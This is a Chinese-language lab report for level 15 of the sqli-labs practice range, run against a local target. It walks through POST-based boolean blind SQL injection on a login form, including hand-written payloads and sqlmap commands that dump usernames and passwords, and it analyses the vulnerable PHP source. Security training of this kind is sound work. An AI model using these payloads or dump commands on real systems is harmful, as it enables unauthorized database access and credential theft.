sql-labs靶场第十五关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶 机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-15/

二、测试目的

测试post型的sql注入,使用盲注注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

加引号或者双引号,都没有任何信息

uname=12'&passwd=12&submit=Submit

uname=12"&passwd=12&submit=Submit

测试闭合方式

经过不断尝试得到闭合符号为 ' 时,页面成功登录

uname=12' or 1=1#&passwd=12&submit=Submit

没有回显结果,能使用盲注

uname=12' or 1=2#&passwd=12&submit=Submit

结果正常显示failed

②爆库,查看数据库名称

爆出当前数据库的长度

uname=12' or (length(database()))=8#&passwd=12&submit=Submit

获取数据库名,第一个字母的ascii码值

( 因为要比较ASCII 码值,速度很慢,所以手工注入只做个演示)

uname=12' or ascii(substr(database(),1,1))=115#&passwd=12&submit=Submit

第一个字母的ASCII码值为115即s ,其他字母以此类推,更改substr函数的第二个参数(起始位置),获取第二个字母......第三个......

③爆表,查看security库的所有表

爆表同理,获取表中第一行第一个字母,寻找ASCII码值

uname=12' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101#&passwd=12&submit=Submit

④爆列,查看users表的所有列

同理,找ASCII码值

uname=12' or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117#&passwd=das&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

username字段

uname=12' or ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

password字段

uname=12' or ascii(substr((select password from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r 指定抓到的数据包文件

--dbs 是爆库的参数

②爆表

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables 

-D 指定数据库,在这个数据库里找数据表

--tables 爆表的参数

③爆列

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D 指定数据库

-T 指定数据表

--columns 爆破列名的参数

④爆字段

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D 指定数据库

-T 指定数据表

-C 指定需要爆破的列名

--dump 爆破字段值的参数

四、源代码分析

php 复制代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];

    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname);
    fwrite($fp,'Password:'.$passwd."\n");
    fclose($fp);

    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
        //echo '<font color= "#0000ff">';   
        
        echo "<br>";
        echo '<font color= "#FFFF00" font size = 4>';
        //echo " You Have successfully logged in\n\n " ;
        echo '<font size="3" color="#0000ff">'; 
        echo "<br>";
        //echo 'Your Login name:'. $row['username'];
        echo "<br>";
        //echo 'Your Password:' .$row['password'];
        echo "<br>";
        echo "</font>";
        echo "<br>";
        echo "<br>";
        echo '<img src="../images/flag.jpg"  />';   
        
        echo "</font>";
    }
    else  
    {
        echo '<font color= "#0000ff" font size="3">';
        //echo "Try again looser";
        //print_r(mysql_error());
        echo "</br>";
        echo "</br>";
        echo "</br>";
        echo '<img src="../images/slap.jpg"   />';  
        echo "</font>";  
    }
}

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.检测了用户名和密码是否设置,是则传入post参数, sql语句中直接进行了调用,加了单引号。

3.这关将执行失败的报错信息也注释掉了,结果不会有显示。不过因为直接调用的变量,存在万能密码漏洞,这样登录成功和失败的结果会不同,可以使用盲注。

4.Sql语句只取一行,注入时会把注释掉。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,只需要指定抓到的数据包即可。

这关使用盲注得到结果,根据true和false的信息,判断数据库信息。

相关推荐
我的offer在哪里4 分钟前
Redis
数据库·redis·缓存
点灯小铭13 分钟前
基于单片机的多模式自动洗衣机设计与实现
数据库·单片机·嵌入式硬件·毕业设计·课程设计
潜心编码15 分钟前
基于python的仓库管理系统
数据库
herinspace17 分钟前
如何设置电脑分辨率和显示缩放
服务器·数据库·智能手机·电脑
biubiubiu070618 分钟前
Ubuntu中定时任务测试
数据库·postgresql
程序新视界1 小时前
在MySQL中,一条SQL语句的执行全流程是怎样的?
数据库·后端·mysql
todoitbo2 小时前
我用 TRAE 做了一个不一样的 MySQL MCP
数据库·mysql·adb·ai工具·mcp·trae·mysql-mcp
CodeJourney.2 小时前
Python开发可视化音乐播放器教程(附代码)
数据库·人工智能·python
呆呆小金人2 小时前
SQL入门:正则表达式-高效文本匹配全攻略
大数据·数据库·数据仓库·sql·数据库开发·etl·etl工程师